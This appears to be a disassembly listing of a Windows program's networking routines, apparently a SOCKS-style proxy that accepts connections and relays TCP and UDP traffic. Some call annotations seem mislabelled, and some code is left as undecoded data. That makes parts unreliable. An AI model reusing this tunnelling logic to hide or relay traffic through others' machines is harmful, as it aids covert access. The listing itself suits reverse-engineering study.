arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42B97F
		dec	eax
		jz	short loc_42B92A
		dec	eax
		jnz	loc_42BA72
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42B92A:				; CODE XREF: sub_42B8E0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_401758
		test	al, al
		jz	loc_42BA72
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42B99B
; ---------------------------------------------------------------------------


loc_42B97F:				; CODE XREF: sub_42B8E0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42B99B:				; CODE XREF: sub_42B8E0+9Dj
		mov	ebx, dword_511C3C
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42BA72
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42BA72
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_511C68
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jnz	short loc_42BA72


loc_42B9F9:				; CODE XREF: sub_42B8E0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42BA56
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42B9F9


loc_42BA56:				; CODE XREF: sub_42B8E0+16Fj
		mov	esi, dword_511C9C
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42BA72:				; CODE XREF: sub_42B8E0+35j
					; sub_42B8E0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42B8E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BB00	proc near		; CODE XREF: sub_42C5C0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42BDBA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42BED6
		mov	edi, dword_511C94
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42BF63
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h
		dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44730068h, 8BE85600h
		dd 90716886h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42BDBA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42BCCB:				; CODE XREF: sub_42BB00+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42BCEF
		test	al, al
		jz	short loc_42BCEB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42BCEF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42BCCB


loc_42BCEB:				; CODE XREF: sub_42BB00+1D5j
		xor	eax, eax
		jmp	short loc_42BCF4
; ---------------------------------------------------------------------------


loc_42BCEF:				; CODE XREF: sub_42BB00+1D1j
					; sub_42BB00+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BCF4:				; CODE XREF: sub_42BB00+1EDj
		test	eax, eax
		jz	short loc_42BD51
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017EE
		lea	edi, [esp+83Ch+var_100]


loc_42BD0E:				; CODE XREF: sub_42BB00+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42BD32
		test	cl, cl
		jz	short loc_42BD2E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42BD32
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42BD0E


loc_42BD2E:				; CODE XREF: sub_42BB00+218j
		xor	eax, eax
		jmp	short loc_42BD37
; ---------------------------------------------------------------------------


loc_42BD32:				; CODE XREF: sub_42BB00+214j
					; sub_42BB00+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BD37:				; CODE XREF: sub_42BB00+230j
		test	eax, eax
		jz	short loc_42BD51
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BD51:				; CODE XREF: sub_42BB00+1F6j
					; sub_42BB00+239j
		mov	edi, dword_511CA0
		push	0
		push	2
		push	offset dword_4472FC
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	near ptr 71AB2DC0h
		nop
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42BDBA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42BE21
		sub	eax, 2
		jz	short loc_42BDC9
		dec	eax


loc_42BDB8:				; CODE XREF: sub_42BB00+31Fj
		jnz	short loc_42BE30


loc_42BDBA:				; CODE XREF: sub_42BB00+32j
					; sub_42BB00+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BDC9:				; CODE XREF: sub_42BB00+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_401758
		test	al, al
		jmp	short loc_42BDB8
; ---------------------------------------------------------------------------


loc_42BE21:				; CODE XREF: sub_42BB00+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42BE30:				; CODE XREF: sub_42BB00:loc_42BDB8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42BDBA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	loc_42BDBA
		push	eax
		push	4
		push	offset dword_4472F4
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020E0
		push	ebx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BED6:				; CODE XREF: sub_42BB00+47j
		cmp	ax, 2
		jnz	loc_42BF63
		mov	ebx, dword_511C94


loc_42BEE6:				; CODE XREF: sub_42BB00+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		nop
		call	near ptr 71AB2D0Fh
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C30
		test	edi, edi
		jz	short loc_42BF63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42BF63
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42BEE6


loc_42BF63:				; CODE XREF: sub_42BB00+67j
					; sub_42BB00+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42BB00	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C0A0	proc near		; CODE XREF: sub_401F37j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42C0B4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0B4:				; CODE XREF: sub_42C0A0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42C0C6
		dec	eax
		jz	short loc_42C0E8
		mov	word ptr [esi+6], 1


loc_42C0C6:				; CODE XREF: sub_42C0A0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42C0D0:				; CODE XREF: sub_42C0A0+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42C0F4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0E8:				; CODE XREF: sub_42C0A0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42C0D0
; ---------------------------------------------------------------------------


loc_42C0F4:				; CODE XREF: sub_42C0A0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42C139
		mov	eax, [esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C139:				; CODE XREF: sub_42C0A0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42C161
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_42C161
		mov	edx, [esi+32h]
		push	edx
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C161:				; CODE XREF: sub_42C0A0+9Ej
					; sub_42C0A0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42C0A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C1B0	proc near		; CODE XREF: sub_401DD4j

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42C1B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42C24A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42C231
		mov	ebx, dword_511C98
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42C216


loc_42C202:				; CODE XREF: sub_42C1B0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42C202


loc_42C216:				; CODE XREF: sub_42C1B0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jnz	short loc_42C26A


loc_42C231:				; CODE XREF: sub_42C1B0+39j
					; sub_42C1B0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42C244:				; DATA XREF: ___:00442FACo
		mov	eax, offset loc_42C231
		retn
; ---------------------------------------------------------------------------


loc_42C24A:				; CODE XREF: sub_42C1B0+2Bj
		cmp	ax, 2
		jnz	short loc_42C231
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jz	short loc_42C231


loc_42C26A:				; CODE XREF: sub_42C1B0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C1B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C2C0:				; CODE XREF: ___:00401F96j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43CEB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42C309:				; DATA XREF: ___:loc_42C321o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42C321:				; DATA XREF: ___:0044300Co
		mov	eax, offset loc_42C309
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C350	proc near		; CODE XREF: sub_401C2Bj

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42C350
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		nop
		call	near ptr 71AB664Dh
		test	eax, eax
		jz	short loc_42C3C7


loc_42C387:				; CODE XREF: ___:0042C456j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42C3C7:				; CODE XREF: sub_42C350+35j
		push	42h
		call	sub_437AEA
sub_42C350	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42C3EC
		push	1
		mov	ecx, eax
		call	sub_4014F1
		jmp	short loc_42C3EE
; ---------------------------------------------------------------------------


loc_42C3EC:				; CODE XREF: ___:0042C3DFj
		xor	eax, eax


loc_42C3EE:				; CODE XREF: ___:0042C3EAj
		mov	dword_5103A4, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_5103A4
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40202C
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40202C
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F37
		test	al, al
		jz	loc_42C387


loc_42C45C:				; CODE XREF: ___:0042C46Dj
		mov	eax, dword_5103A4
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DD4
		jmp	short loc_42C45C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C4C0	proc near		; CODE XREF: sub_4014F1j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42C4E2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43F190
		call	sub_4014B5


loc_42C4E2:				; CODE XREF: sub_42C4C0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43F18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42C4C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C530	proc near		; CODE XREF: sub_4014B5j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_40142E
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C5C0	proc near		; CODE XREF: sub_4020EFj

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42C5C0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42C5D0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43CF28
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401FA0
		push	offset off_444D5C
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43F1A0
		call	sub_4015E1
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C640	proc near		; CODE XREF: ___:00401398j sub_401F5Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42C658
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C658:				; CODE XREF: sub_42C640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C670	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_4017A8
sub_42C670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C690:				; CODE XREF: ___:loc_40134Dj
		mov	eax, 1000h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42C71C
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C6BC:				; CODE XREF: ___:0042C71Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+18h]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42C6BC


loc_42C71C:				; CODE XREF: ___:0042C6AEj
					; ___:0042C6E5j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C738
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42C738:				; CODE XREF: ___:0042C72Fj
		add	esp, 1000h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C770	proc near		; CODE XREF: sub_40166Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_444D5C
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F1B0
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C7E0	proc near		; CODE XREF: ___:004013A7j sub_401B36j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42C7F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C7F8:				; CODE XREF: sub_42C7E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C7E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C810	proc near		; CODE XREF: sub_401217j
		jmp	sub_4017A8
sub_42C810	endp

